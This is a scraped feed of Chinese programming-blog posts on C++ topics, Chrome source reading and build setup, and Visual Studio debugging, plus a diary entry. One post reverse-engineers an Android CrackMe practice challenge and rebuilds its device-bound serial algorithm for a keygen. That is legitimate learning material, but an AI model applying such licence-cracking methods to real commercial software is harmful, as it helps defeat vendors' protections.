===============华===丽===的===分===割===线===============
展昭:“包大人,你额头的月牙是怎么弄的?”
包大人:“天生的。”
展昭:“揭得下来吗?”
包大人:“天生的。揭不下来。”
展昭:“如果揭下来呢?”
包大人:“揭下来……就是见证奇迹的时刻……”

另外,Google宣布Google Reader大限将至,不知道大家有没有好的替代品,以前用过鲜果,发现不支持本博客的代码高亮输出,另外网易有道阅读器也一样,代码乱得一团糟。最好是Web阅读器,到哪都可以看。


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 调试器也有MagicNumer——从一个奇葩的错误说起
作者:代码疯子

没有相关文章推荐

DLL调试 之 当前不会命中断点,还没有为该文档加载任何符号

$
0
0

最近在Visual Studio中调试DLL的时候,老是提示“当前不会命中断点,还没有为该文档加载任何符号”,在写代码写到快要发疯的时候遇到这样的事情,还有比这更糟糕的么?

网上那些乱七八糟的解决方案全然无效,比如删除工程目录下ncb文件之类的,或者配置选项确保生成调试符号之类的,都不是我想要的。后来,是这么解决问题的(其实以前就这么玩过,只是记得不太清楚了):
1. 需要自己弄一个Loader(比如自己写个EXE),这个Loader可以加载要调试的DLL;
2. 在DLL需要下断点的地方加一个MessageBox调用,比如MessageBoxA(NULL, NULL, NULL, NULL),在下一行下个断点;
3. 生成DEBUG版本的DLL文件,用Loader加载这个DLL,你就会看到MessageBox啦;
4. 选择Visual Studio的菜单“调试”-“附加到进程”,然后附加到上面的Loader;
5. 这时候点击MessageBox就OK了,Visual Studio自动断下来了,开始Debug吧!

当前断点不会命中,还没有为该文档加载任何符号


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> DLL调试 之 当前不会命中断点,还没有为该文档加载任何符号
作者:代码疯子

没有相关文章推荐

HqBaiduMusic V2.0 百度音乐高品质下载Chrome扩展

$
0
0

更新说明
1. 更新了地址抓取流程;
2. 支持未登录情况下直接下载320Kbps超高品质音乐;
3. 显示320Kbps超高品质音乐文件大小;
4. 百度音乐调整了策略,旧版本插件已经失效;

安装方法
1. 下载扩展程序/脚本程序至本地计算机;
2. 将其直接拖拽到浏览器的“扩展程序”页面(设置-扩展程序)即 chrome://chrome/extensions 页面。

下载地址
1. 本地下载(推荐):HqBaiduMusic V2.0 百度音乐高品质下载Chrome扩展
2. GitHub下载(部分地区可能无法访问):HqBaiduMusic V2.0 百度音乐高品质下载Chrome扩展
(温馨提示:如果下载链接失效,请点击HqBaiduMusic查看最新地址)

界面截图
HqBaiduMusic百度音乐高品质下载Chrome扩展

历史版本
HqBaiduMusic V1.0 发布日期:2013年02月24日
1. 未登录百度账号情况下无法正常使用本插件;
2. 标准品质和高品质请使用原有下载按钮进行下载;
3. 有问题请通过邮件反馈,谢谢!


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> HqBaiduMusic V2.0 百度音乐高品质下载Chrome扩展
作者:代码疯子

没有相关文章推荐

error LNK2019 无法解析的外部符号

$
0
0

我是菜鸟我是菜鸟……最近遇到一个常识性错误,关于内联函数的(error LNK2019 无法解析的外部符号)。

通常编写函数时,会把声明放到头文件(*.h)中,而把函数定义放在源文件(*.cpp)中,在其他源文件中使用时包含对应的头文件即可。
但是内联函数(inline)不要定义在cpp文件中,因为我们通常都是包含头文件,而编译器在编译时会对内联函数进行展开操作,但是编译器只能在包含的头文件里搜索函数的定义体,如果头文件只有声明,显然编译器不知道该如何展开,于是就出错了。

每一个使用内联函数的地方,都应该知道内联函数的定义,所以内联函数就直接定义在头文件中。

一个错误的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// Test.h
#ifndef _TEST_H
#define _TEST_H
 
class CTest
{
public:
    /*inline */void FooBar();
    //{
    //    printf("FooBar() called.\n");
    //}
};
 
#endif
 
// Test.cpp
#include "Test.h"
#include <stdio.h>
 
inline void CTest::FooBar()
{
    printf("FooBar() called.\n");
}
 
// Main.cpp
#include <stdio.h>
#include "Test.h"
 
int main(int argc, char **argv)
{
    CTest test;
    test.FooBar();
 
    return 0;
}

Visual Studio会抱怨:Main.obj : error LNK2019: 无法解析的外部符号 “public: void __thiscall CTest::FooBar(void)” (?FooBar@CTest@@QAEXXZ),该符号在函数 _main 中被引用

不过,既然内联函数在编译器就要展开,那为何在链接时才报错呢?这一点不是很明白,微软MSDN是这么说的:

同样,如果项目使用函数内联,但在 .cpp 文件(而非头文件)中定义函数,也会得到 LNK2019。
头文件包含在任何被认为合适的位置,但只有在 .cpp 文件通过编译器时函数才内联;
因此当函数用于其他模块时,链接器将函数看成无法解析的外部对象。

引用自:函数内联问题


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> error LNK2019 无法解析的外部符号
作者:代码疯子

没有相关文章推荐

设计模式之桥接模式 Boost::scoped_ptr

$
0
0

打算把Chrome浏览器源码阅读的一些笔记写到博客上来,Chrome是个大工程,源码下载下来光压缩包就有2G多,解压之后6G多,过段时间我会写一篇如何编译Chrome浏览器的文章。最近阅读了src\base下部分基础组件的代码,感觉学到了很多东西。本文作为第一篇,可能看起来和Chrome没什么关系,不过这个知识点会在实际的开发中经常用到。

你可能没有系统学过设计模式,不懂桥接模式是什么玩意,没关系,你应该见过Impl;你也可能没接触过Boost,不懂scoped_ptr是什么,没关系,你应该见过auto_ptr

一、桥接模式
桥接模式用于将抽象部分与实现部分分离,使得他们可以独立的变化,英文别名为Handle/Body。桥接模式通常在以下(包括但不限于)场合中使用:
1. 类的抽象以及它的实现都可以通过生成子类的方法加以扩充;
2. 对客户隐藏具体的实现部分;
3. 加快工程编译速度,不用因为实现部分的修改而导致大量源文件的重新编译;

《设计模式:可复用面向对象软件的基础》一书中桥接模式的类图如下图所示:
设计模式之桥接模式类图

二、scoped_ptr
再继续讲桥接模式之前,先介绍scoped_ptr。scoped_ptr是Boost中的一个智能指针,该指针以RAII(Resource Acquisition Is Initialization,资源获取即初始化,是使用一个对象,在其构造时获取资源,在对象生命期控制对资源的访问使之始终保持有效,最后在对象析构的时候释放资源。)机制实现,不支持复制(noncopyable),不支持指针所有权的共享。

你只要知道scoped_ptr是一个智能指针就行了,想用Boost?请猛戳Boost编译和配置。scoped_ptr在本文中就是用于指针的管理。

Boost的scoped_ptr不支持数组,如需要使用数组要用scoped_array,而Chrome源码中自己扩充了scoped_ptr的功能,直接支持数组操作,具体以后会写出来。

三、桥接模式例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <iostream>
#include <string>
#include <boost/scoped_ptr.hpp>
//#include <boost/scoped_array.hpp>
 
class WindowImp
{
public:
    WindowImp(std::string strWndTitle) :
        m_strWndTitle(strWndTitle) {}
    ~WindowImp()
    {
        std::cout << "~WindowImp()" << std::endl;
    }
    void Draw()
    {
        std::cout << "Draw Window --> " << m_strWndTitle << std::endl;
    }
private:
    std::string m_strWndTitle;
};
 
class Window
{
public:
    Window(std::string strWndTitle)
    {
        m_pImpl.reset(new WindowImp(strWndTitle));
    }
    void Draw()
    {
        m_pImpl->Draw();
    }
private:
    boost::scoped_ptr<WindowImp> m_pImpl;
};
 
int main(int argc, char **argv)
{
    Window wnd("Hello, World.");
    wnd.Draw();
 
    return 0;
}

实际使用时,Window类的定义、WindowImp的定义都应该是一个独立的编译单元(比如一个.h和.cpp对应一个类)。本例中scoped_ptr用于管理WindowImp类型的指针,reset函数重置scoped_ptr所管理的指针。

Window是接口类,WindowImp是实现类。客户可以完全不知道WindowImp的存在,直接调用Window的接口。如果你忽然要把Draw以另一种方式实现,那么你去改动WindowImp::Draw就行了,而不必改动Window::Draw,这样客户调用Window的文件都不需要重新编译,节省了编译时间。

相应的类图如下:
设计模式之桥接模式类图
例子比较简单,所以省去了继承,自然不如第一张类图所描述的灵活。

欢迎关注《Chrome源码学习》系列文章
如果你喜爱我的文章,请点击文章末尾的分享按钮,选择分享各类社交网站,你的分享是对我最大的支持。


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 设计模式之桥接模式 Boost::scoped_ptr
作者:代码疯子

没有相关文章推荐

Chrome源码学习之scoped_ptr

$
0
0

scoped_ptr是一个智能指针,Boost中实现了一份,用于管理指针(参考《设计模式之桥接模式 Boost::scoped_ptr》)。Chrome也自己实现了一份,但是比Boost实现的版本要更加复杂,前者支持数组,后者不支持数组(数组使用scoped_array)。本篇分析文件为src\base\memory\scoped_ptr.h,记录要点:

1. 将错误提前到编译器提示
错误越早发现越好,一些不合理的语句的使用如果能提前到编译器就检测出来自然是件好事,Chrome使用了enum技巧对一些语句的使用做了约束,如删除器DefaultDeleter的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
template <class T>
struct DefaultDeleter {
  DefaultDeleter() {}
  template <typename U> DefaultDeleter(const DefaultDeleter<U>& other) {
    enum { T_must_be_complete = sizeof(T) };
    enum { U_must_be_complete = sizeof(U) };
    COMPILE_ASSERT((base::is_convertible<U*, T*>::value),
                   U_ptr_must_implicitly_convert_to_T_ptr);
  }
  inline void operator()(T* ptr) const {
    enum { type_must_be_complete = sizeof(T) };
    delete ptr;
  }
};

使用sizeof要求T和U是完全类型(就是到当前为止已经知道了T的具体定义,用sizeof自然就会知道T的大小是多少),如果是不完全类型,编译会报错,同时enum的命名能够很好的提示具体原因。

2. 模板特化
模板特化有很多种情况,我们最常见的是将模板类型T特化为一个具体的类型,比如int,这是所谓的全特化。出了这种情况之外,模板特化还有如下的情况:
1. 特化为数组 T[]
2. 特化为指针、引用 T*、T&以及const T*、const T&等
3. 特化为一个类模板 vector
这些都是偏特化。
关于上面所提及的详细描述,可以参考文章:《C++类模板的三种特化

scoped_ptr的数组删除器就是上面的DefaultDeleter的一个偏特化版本:

1
2
3
4
5
6
7
8
9
10
template <class T>
struct DefaultDeleter<T[]> {
  inline void operator()(T* ptr) const {
    enum { type_must_be_complete = sizeof(T) };
    delete[] ptr;
  }
 
 private:
  template <typename U> void operator()(U* array) const;
};

注意最后那个private函数,重载了小括号操作符(),这个函数只有声明,没有定义,也就是说不能够对它进行调用。这里是为了防止任何类型不一致的数组指针尝试的转型操作。前段时间,微博上左耳朵耗子跟别人讨论一个话题比较热,他写了篇总结《C++的数组不支持多态》,是的,千万不要对数组指针进行转型之后对其施加delete []操作。因为delete []需要对每个数组成员调用析构函数,T array[i]通过*(array + i*sizeof(T))取得对象,如果sizeof(T)是经过转型的,那么你会在一个很有可能不可以callable的内存地址上进行call操作,等着发疯吧。具体可以阅读《More Effective C++》条款3——绝对不要以多态方式处理数组

3. 明确拒绝不需要的函数
写一个类,如果情况合适,编译器会自动给你添加一些函数,有:默认构造函数、默认析构函数、默认复制构造函数、赋值操作符,当然如果你自己声明了,编译器就不会添加了。有些地方复制行为是禁止的,就比如这里的scoped_ptr,Chrome声明了一个宏,表示不需要编译器多此一举,采取的方法是把他们声明为private并且不定义:

1
2
3
4
5
6
template <class T, class D>
class scoped_ptr_impl {
 public:
 // ......
 private:
 DISALLOW_COPY_AND_ASSIGN(scoped_ptr_impl);

DISALLOW_COPY_AND_ASSIGN的定义位于src\base\basictypes.h文件之中:

1
2
3
4
5
// A macro to disallow the copy constructor and operator= functions
// This should be used in the private: declarations for a class
#define DISALLOW_COPY_AND_ASSIGN(TypeName) \
  TypeName(const TypeName&);               \
  void operator=(const TypeName&)

关于这一点,更多请参考《Effective C++》条款06:若不想使用编译器自动生成的函数,就该明确拒绝

4. 桥接模式的使用
桥接模式可以参考上一篇文章,文件中定义了一个scoped_ptr_impl,作为scoped_ptr的内部实现类。

1
2
3
4
5
6
7
8
9
10
11
template <class T, class D = base::DefaultDeleter<T> >
class scoped_ptr {
 public:
 // ......
 private:
  // Needed to reach into |impl_| in the constructor.
  template <typename U, typename V> friend class scoped_ptr;
  base::internal::scoped_ptr_impl<element_type, deleter_type> impl_;
 
  // ......
};

欢迎关注《Chrome源码学习》系列文章。本人不保证文章准确性,如有错误欢迎指出!
如果你喜爱我的文章,请点击文章末尾的分享按钮,选择分享各类社交网站,你的分享是对我最大的支持。


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> Chrome源码学习之scoped_ptr
作者:代码疯子

没有相关文章推荐


简单Android CrackMe分析3

$
0
0

作者:代码疯子
博客:Http://Www.ProgramLife.Net/ 求关注,求勾搭!

这是在crackmes.de上找到的一个Android CrackMe,也属于比较简单的类型,当然如果从学习的角度玩,可以尝试通过阅读smali代码并手动将其翻译成Java代码,最终写出一个Keygen出来。

分析之前先把apk装到模拟器上看一下,有两个Activity,提示了两个Hardware ID,需要输入用户名和注册码进行注册。

使用Apktool GUI将apk解包,查看AndroidManifest.xml文件,看到了两个Activity,分别为com.example.helloandroid.HelloAndroid和com.example.helloandroid.prueba2,其中前者是MainActivity。现在提取出APK包中的classes.dex并将其转换为jar包,使用JD-GUI查看代码。总共看到有5个类,下面一个一个进行分析。

1. 类HelloAndroid代码分析
这个类就是MainActivity了,在onCreate方法中计算了两个Hardware ID并显示到了界面上,这里具体的算法暂时可以忽略,因为在另一段代码中有相同的逻辑。之后给两个Button设置监听器,之前我们在界面中看到有两个按钮,一个是“注册”按钮,一个是“关于”按钮。

2. 类HelloAndroid$1代码分析
这是“关于”按钮的监听器类,在onClick方法中通过Intent启动“关于”界面的Activity,也就是prueba2这个类。

3. 类prueba2代码分析
“关于”界面的Activity,有一个按钮,用于返回注册界面,这个类的代码很简单。

4. 类prueba2$1代码分析
“关于”界面中“返回”按钮的监听器类,在onClick方法中通过Intent返回到注册界面。

5. 类HelloAndroid$2代码分析
这是“注册”按钮的监听器类,整个注册算法也在这里,所以这是要重点分析的代码。其实如果只是写出注册机的话,稍微整理下JD-GUI中的代码也就可以了,不过JD-GUI反编译出来的代码有时候可阅读性不是很好,这里从学习的角度出发,通过阅读smali代码还原Java高级代码。

HelloAndroid$2这个类的smali代码中,个人感觉除了try catch结构比较混乱外,其他的都还算很清晰,在我尝试还原的过程中,也只有try catch的位置无法确定放在哪里。还原后的Java代码如下:

class MyOnClickListener implements OnClickListener {
    public void onClick(View v) {
        EditText editName = (EditText)findViewById(0x7F050004);
        EditText editSerial = (EditText)findViewById(0x7F050006);
        String strName = editName.getText().toString();
        String strSerial = editSerial.getText().toString();
        String strTemp1 = "";
 
        if (strName.length() < 4) {
            Toast.makeText(
                getApplicationContext(), 
                "Min 4 chars", 
                Toast.LENGTH_LONG
            ).show();
            return ;
        }
 
        int i = 0;
        int len = strName.length();
        while (i < len) {
            char ch = strName.charAt(i);
            int nVal = (int)ch;
            String strTemp = String.valueOf(strTemp1);
            StringBuilder strBuilder = new StringBuilder(strTemp);
            strBuilder.append(nVal);
            strTemp1 = strBuilder.toString();
            i += 1;
        }
 
        strTemp1 = strTemp1.substring(0, 5);
        int nName = Integer.parseInt(strTemp1);
        nName = nName ^ 0x6B016;
        strTemp1 = String.valueOf(nName);
 
        TelephonyManager telMgr =
            (TelephonyManager)getSystemService("phone");
        String strDevId = telMgr.getDeviceId();
        String strSimNo = telMgr.getSimSerialNumber();
        String strSubDevId = strDevId.substring(0, 6);
        String strSubSimNo = strSimNo.substring(0, 6);
        int nSubDevId = Integer.parseInt(strSubDevId);
        int nSubSimNo = Integer.parseInt(strSubSimNo);
        long nTemp = nSubDevId ^ nSubSimNo;
 
        StringBuilder strBuilder = new StringBuilder(strTemp1);
        strBuilder.append("-");
        strBuilder.append(String.valueOf(nTemp));
        strBuilder.append("-");
        strBuilder.append(strSubDevId);
        String strTemp2 = strBuilder.toString();
 
        if (strTemp2.equals(strSerial)) {
            Toast.makeText(
                getApplicationContext(), 
                "God boy", 
                Toast.LENGTH_LONG
            ).show();
        } else {
            Toast.makeText(
                getApplicationContext(), 
                "Bad boy", 
                Toast.LENGTH_LONG
            ).show();
        }
    }
}

具体的过程就是耐心的阅读smali代码。整个算法的过程是:

首先用户名的长度至少为4,之后将用户名的每个字符的ASCII值连接成字符串,取字符串的前5个字符转换为整型,然后与0x6B016进行异或运算,所得的结果转换为字符串,这是注册码的第一部分;

其次通过TelephonyManager获取DeviceId和SimSerialNumber,并分别取两个字符串的前6个字符转换为整型,然后将两个整型数值进行异或运算,将结果转换为字符串,得到注册码的第二部分;

最后是获取DeviceId的前6个字符这一个子串,这是注册码的第三部分。

将这三个字符串用连字符“-”连接起来就是注册码了。

6. 编写Keygen
KeyGen参考注册算法的代码。效果截图如下:
Android CrackMe 注册成功界面

注册机界面:
Android CrackMe Keygen 注册机

CrackMe / Keygen下载:
http://pan.baidu.com/share/link?shareid=2854465072&uk=369321854
在线阅读本PDF:
http://www.programlife.net/doc/Android_CrackMe_2.pdf

(全文完)


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 简单Android CrackMe分析3
作者:代码疯子

八月流水账

$
0
0

越来越觉时间不够用,有很多东西要学习,有很多事情要处理,可是效率却不高。现在连博客都没时间打理了,几个流水账吧,这两个月还是有不少事情的。

一、学习
感谢实验室的大力支持,我终于有机会参加几个会议长长见识了。

首先是七月底去西安参加了在西北大学举行的ISSISP2013(The Fourth International Summer School on Information Security and Protection),ACM和DAPA(digital asset protection association)办的,由西北大学承办。其实就是请了几位国外很有名气的教授来给我们做科普,有Christian Collberg,在软件混淆方面算是先驱吧,还有Lorenzo Cavallaro,上课的时候还有类似CTF的练习平台,感觉老外就是高端大气上档次,还有香港的K.P. Chow将计算机取证方面的东西也很有意思,还有其他的几位印象不是很深刻。总之长了见识了,另外游览了西安几个地方(古城墙、大雁塔、兵马俑、骊山、陕西历史博物馆等等),累坏了,西安就是有历史气息!

另外前几天参加了XCon2013,这是我印象中国内最高端的安全会议了,第一次参加还是很激动,不过会上倒是没听进去多少东西,但还是学到了一些东西,当然,不仔细研究下大牛们讲的东西,肯定也学不到多少吧。另外人品比较好,抽奖抽到了幸运奖,下半年在深圳举办的xKungFoo会议门票一张,赞~ 此外XCon上的自助餐不是很好吃!会上我还遇到了ZMWORM,可惜他已经不记得我了,哈哈,不过我主动过去打了招呼。

还有就是参加了北理工和绿盟的ISCC2013,第一次参加是2011年,去年就没有关注,今年有幸过去,感觉比2011年有意思了很多,至少是融合了大量逆向的东西,如果全是Web渗透的话,我等就又只能打酱油了,认识了几个同学,感觉都很牛逼的样子。也开始觉得渗透很有意思很牛逼,只是自己学不会!

前两天还参加了腾讯TSRC的一个交流会,自我介绍的时候貌似就只有我一个学生,那个lake2还问了我ID多少,哎,都不好意思说了。不过去了之后感觉不是很有意思,还有就是晚上自己还有活动,于是就提前走了(可能他们吃饭的时候会发现少了一个人~ )

二、还是学习
在实验室就是忙碌的赶项目,写代码。已经好久没有做CTF的练习了,Linux也一直是小菜,GDB什么的没用就全忘了~ 我是想认真玩玩CTF,可是有比较矛盾,哎!

三、博客
之前可能是参加ISCC的时候,我把自己的域名作为ID,排在前头,就被人光顾了。发现了一个一句话PHP马,好在对方客气没有删我文件,虽然我也做了备份。估计数据库神马的可能被拖了,不过也不算大的损失。于是把WordPress升级到3.6,真是把我整惨了,各种插件出错,好在捣鼓了几个小时终于整好了。博客主机不是很给力,现在两台主机通过DNSPod做宕机自动切换,还是很不稳定的样子。

还有,这几天看到一篇文章《怎样练习一万小时》,感觉写的还是蛮不错的,有兴趣的同学可以搜一下,网上一大堆。最近还买了一本书《Rework》(重来),感觉这书挺有意思,之前也是在别人博客看到一段翻译,觉得有意思才买的。

晒一下我的幸运奖吧,哈哈!
xKungFoo2013深圳门票


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 八月流水账
作者:代码疯子

Chrome源码编译

$
0
0

还是在四月份的时候,一时心血来潮下载下来了Chrome的代码打算随便看看,当时候确实看了几天,不过后来因为一些其他事情就放下了,最近无聊了很久,终于还是决定继续看看。虽然编译没什么技术含量,不过体验一下还是不错,主要是环境的搭建,另外是体验一下大工程的编译时间。

一、环境简介
软件(包):7Zip、Visual Studio 2010、Visual Studio 2010 SP1补丁、Windows 8 SDK、June 2010 DirectX SDK等。
操作系统:Windows 7 x64(推荐使用64位系统)
硬盘空间:推荐60GB,至少30GB
内存:20GB(4GB应该差不多了)
CPU:I7 3.4GHz,4核8线程(CPU不好可能卡死)

二、环境搭建
1. 下载7Zip,用于tar包解压,官方站点为http://www.7-zip.org/
2. 下载Chrome源码tarball打包文件,下载地址为http://chromium-browser-source.commondatastorage.googleapis.com/chromium_tarball.html,这个包有2G多,下载时间可能较长;创建源码文件夹,中间不要有空格,如G:\ChromeDev\,使用7Zip解压tgz文件到该文件夹下,得到一个6GB的tar包,继续使用7Zip解压该文件到该路径下。Tar包里面还有几层文件夹,如G:\ChromeDev\chromium\chromium.r197479.tar\home\src_tarball\tarball\,可以直接提取里面的chromium文件夹到G:\ChromeDev\,这个过程时间可能较长,具体看机器的配置而定。
3. 安装depot_tools,下载地址为https://src.chromium.org/svn/trunk/tools/depot_tools.zip。解压(不要拖拽)之后,把文件夹路径添加到Path环境变量末尾, 在cmd下运行gclient,以便安装一些依赖组件,如Python、SVN等;
4. 打开cmd,切换到在src目录下(G:\ChromeDev\chromium\src),执行如下命令:

gclient sync --force

用于更新部分文件,这个过程也可能很耗时。
5. 安装Visual Studio 2010,完成之后安装Visual Studio 2010 SP1补丁。
6. 安装Windows 8 SDK,64位机器默认安装在C:\Program Files (x86)\Windows Kits\8.0,如果不是这个路径,需要设置环境变量:GYP_DEFINES=windows_sdk_path=”path to sdk”。这个过程是在线下载的,非常慢。
7. 修改Windows 8 SDK文件Include\winrt\asyncinfo.h,删除第66行的class关键字。
8. 安装June 2010 DirectX SDK,如果提示Error Code: S1023错误,需要先卸载Microsoft Visual C++ 2010 x64 Redistributable。
9. 在Chrome源码的src文件夹所在目录创建chromium.gyp_env文件(和.gclient在同一个目录),内容为

{'GYP_DEFINES': 'component=shared_library'} # use space to delimit additional defines.

10. 打开cmd,切换到src路径下(G:\ChromeDev\chromium\src),运行如下命令:

gclient runhooks --force

这个过程用于生成Visual Studio工程解决方案文件。
11. 申请Google API KEY,如果只是看代码,就没必要申请了,所以我也没弄了。

三、编译源码
打开G:\ChromeDev\chromium\src\chrome\chrome.sln解决方案文件(第一次打开可能需要很久,耐心等待),把chrome设置为启动项目,在chrome工程上点击右键选择build开始编译即可。现在可以出去转一圈,干点别的事情,如果机器配置不够好,可能需要几个小时不等。我的机器大概花了50分钟时间,成功编译Chrome。可执行程序位于src\build\Debug\Chrome.exe,打开即可运行。

几张截图:
编译时会创建大量进程,消耗大量CPU:
Chrome源码编译CPU占用
编译完之后,就可以用啦:
Chrome浏览器源码编译

欢迎关注《Chrome源码学习》系列文章。本人不保证文章准确性,如有错误欢迎指出!
欢迎请点击文章末尾的分享按钮,选择分享各类社交网站,你的分享是对我最大的支持。


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> Chrome源码编译
作者:代码疯子

Chrome源码阅读之basictypes.h

$
0
0

对Chrome的源码阅读主要集中在src\base下,这里面实现了很多基础组件,相对来说更容易理解,也是阅读其他源码的一个基础。

文件src\base\basictypes.h定义了一些基础数据结构和宏。

1. 明确拒绝不需要的函数
下面这部分代码用于禁用类不需要的复制构造函数、复制操作符以及隐式的构造函数。

#define DISALLOW_COPY(TypeName) \
  TypeName(const TypeName&)
 
#define DISALLOW_ASSIGN(TypeName) \
  void operator=(const TypeName&)
 
#define DISALLOW_COPY_AND_ASSIGN(TypeName) \
  TypeName(const TypeName&);               \
  void operator=(const TypeName&)
 
#define DISALLOW_IMPLICIT_CONSTRUCTORS(TypeName) \
  TypeName();                                    \
  DISALLOW_COPY_AND_ASSIGN(TypeName)

2. 编译期间条件检查
下面这部分代码用于编译期间的条件检查,如果COMPILE_ASSERT(expr, msg)中expr不为true,就会定义一个名字为msg,大小为-1的数组,显然编译器不允许定义一个大小小于零的数组,从而中断编译操作。

template <bool>
struct CompileAssert {
};
 
#undef COMPILE_ASSERT
#define COMPILE_ASSERT(expr, msg) \
  typedef CompileAssert<(bool(expr))> msg[bool(expr) ? 1 : -1]
 
// 使用示例
COMPILE_ASSERT(sizeof(foo) < 128, foo_too_large);

3. ArraySizeHelper求数组大小
basictypes.h文件中有如下一段定义:

template <typename T, size_t N>
char (&ArraySizeHelper(T (&array)[N]))[N];
 
#define arraysize(array) (sizeof(ArraySizeHelper(array)))

先说一下数组的引用。看一段代码:

#include "stdafx.h"
#include <vector>
#include <string>
#include <iostream>
using namespace std;
 
// 定义一个返回数组引用的函数,其中param为函数参数
int (&test(string param))[3]
{
	cout << "param is " << param << endl;
	static int a3[] = {1, 2, 3};
	return a3;
}
 
int _tmain(int argc, _TCHAR* argv[])
{
	int a3[] = {1, 2, 3};
	int (&(a))[3] = a3;		// 定义一个数组的引用
	for (int i = 0; i < 3; ++i)
	{
		cout << a[i] << endl;	// 输出数组元素
	}
	cout << sizeof(a) << endl;	// 相当于sizeof(a3)
	cout << sizeof(test("test")) << endl;
 
	return 0;
}

这里面提到了数组引用的定义,以及返回数组引用的函数的写法。回到Chrome的代码,定义了一个名为ArraySizeHelper的模板函数,函数的参数为类型为T元素个数为N的数组的引用,返回值为类型为char元素个数也为N的数组的引用,这样sizeof刚好得到元素个数,因为char占用1个字节,且参数array只能是数组,整个过程全部在编译期间完成。ArraySizeHelper本身不需要定义,因为sizeof只需要知道函数的返回类型即可。

4. 类型转换
在Chrome中有些地方会经常遇到reinterpret_cast,比如注册表读写的时候,数据参数是BYTE指针类型,那么需要进行转型操作,老式的C语言转型操作会带来很多问题(比如语法意义不明确等),reinterpret_cast操作符可以在不改变实际数据的情况下改变数据的类型,很适用于下面的场景:

LONG RegKey::WriteValue(const wchar_t* name,
                        const void* data,
                        DWORD dsize,
                        DWORD dtype) {
  DCHECK(data || !dsize);
 
  LONG result = RegSetValueEx(key_, name, 0, dtype,
      reinterpret_cast<LPBYTE>(const_cast<void*>(data)), dsize);
  return result;
}

basictypes.h文件中新增了两种转型包装:bit_cast和implicit_cast。

template <class Dest, class Source>
inline Dest bit_cast(const Source& source) {
  // Compile time assertion: sizeof(Dest) == sizeof(Source)
  // A compile error here means your Dest and Source have different sizes.
  typedef char VerifySizesAreEqual [sizeof(Dest) == sizeof(Source) ? 1 : -1];
 
  Dest dest;
  memcpy(&dest, &source, sizeof(dest));
  return dest;
  // 因为是内联函数,代码会展开,所以这里“返回”局部变量不会有问题
}
 
//   // WRONG
//   float f = 3.14159265358979;            // WRONG
//   int i = * reinterpret_cast<int*>(&f);  // WRONG
//
// The address-casting method actually produces undefined behavior
// according to ISO C++ specification section 3.10 -15 -.  Roughly, this
// section says: if an object in memory has one type, and a program
// accesses it with a different type, then the result is undefined
// behavior for most values of "different type".
//
// This is true for any cast syntax, either *(int*)&f or
// *reinterpret_cast<int*>(&f).  And it is particularly true for
// conversions between integral lvalues and floating-point lvalues.

bit_cast实现了类似于*reinterpret_cast(&source)的功能,按照代码片段中的注释的说法,上面使用reinterpret_cast的方式可能引发未定义的操作。另外提到bit_cast的参数类型如果不是POD,那么会可能会出问题。

维基百科上是这么解释POD(Plain Old Data)的:

POD类类型就是指class、struct、union,且不具有用户定义的构造函数、析构函数、
拷贝算子、赋值算子;不具有继承关系,因此没有基类;不具有虚函数,所以就没有虚表;
非静态数据成员没有私有或保护属性的、没有引用类型的、没有非POD类类型的
(即嵌套类都必须是POD)、没有指针到成员类型的(因为这个类型内含了this指针)。

比如对于包含虚函数的类对象,显然不适合使用bit_cast。

template<typename To, typename From>
inline To implicit_cast(From const &f) {
  return f;
}

implicit_cast作为static_cast和const_cast的安全版本。

5. 静态类对象
basictypes.h中有这样一段代码以及注释:

// The following enum should be used only as a constructor argument to indicate
// that the variable has static storage class, and that the constructor should
// do nothing to its state.  It indicates to the reader that it is legal to
// declare a static instance of the class, provided the constructor is given
// the base::LINKER_INITIALIZED argument.  Normally, it is unsafe to declare a
// static variable that has a constructor or a destructor because invocation
// order is undefined.  However, IF the type can be initialized by filling with
// zeroes (which the loader does for static variables), AND the destructor also
// does nothing to the storage, AND there are no virtual methods, then a
// constructor declared as
//       explicit MyClass(base::LinkerInitialized x) {}
// and invoked as
//       static MyClass my_variable_name(base::LINKER_INITIALIZED);
namespace base {
enum LinkerInitialized { LINKER_INITIALIZED };

LINKER_INITIALIZED 用于初始化静态的类对象。对象的类应该是上面提到的POD,如果不是可能会引发问题。在Google C++编程规范中提到:

Static or global variables of class type are forbidden: they cause hard-to-find 
bugs due to indeterminate order of construction and destruction.
Objects with static storage duration, including global variables, static variables, 
static class member variables, and function static variables, must be Plain Old Data (POD): 
only ints, chars, floats, or pointers, or arrays/structs of POD.
 
The order in which class constructors and initializers for static variables are 
called is only partially specified in C++ and can even change from build to build, 
which can cause bugs that are difficult to find. Therefore in addition to banning 
globals of class type, we do not allow static POD variables to be initialized with 
the result of a function, unless that function (such as getenv(), or getpid()) 
does not itself depend on any other globals.
 
Likewise, the order in which destructors are called is defined to be the reverse 
of the order in which the constructors were called. Since constructor order is
indeterminate, so is destructor order. For example, at program-end time a static 
variable might have been destroyed, but code still running -- perhaps in another 
thread -- tries to access it and fails. Or the destructor for a static 'string' 
variable might be run prior to the destructor for another variable that contains 
a reference to that string.
 
As a result we only allow static variables to contain POD data. This rule 
completely disallows vector (use C arrays instead), or string (use const char []).
 
If you need a static or global variable of a class type, consider initializing 
a pointer (which will never be freed), from either your main() function or from 
pthread_once(). Note that this must be a raw pointer, not a "smart" pointer, 
since the smart pointer's destructor will have the order-of-destructor issue 
that we are trying to avoid.

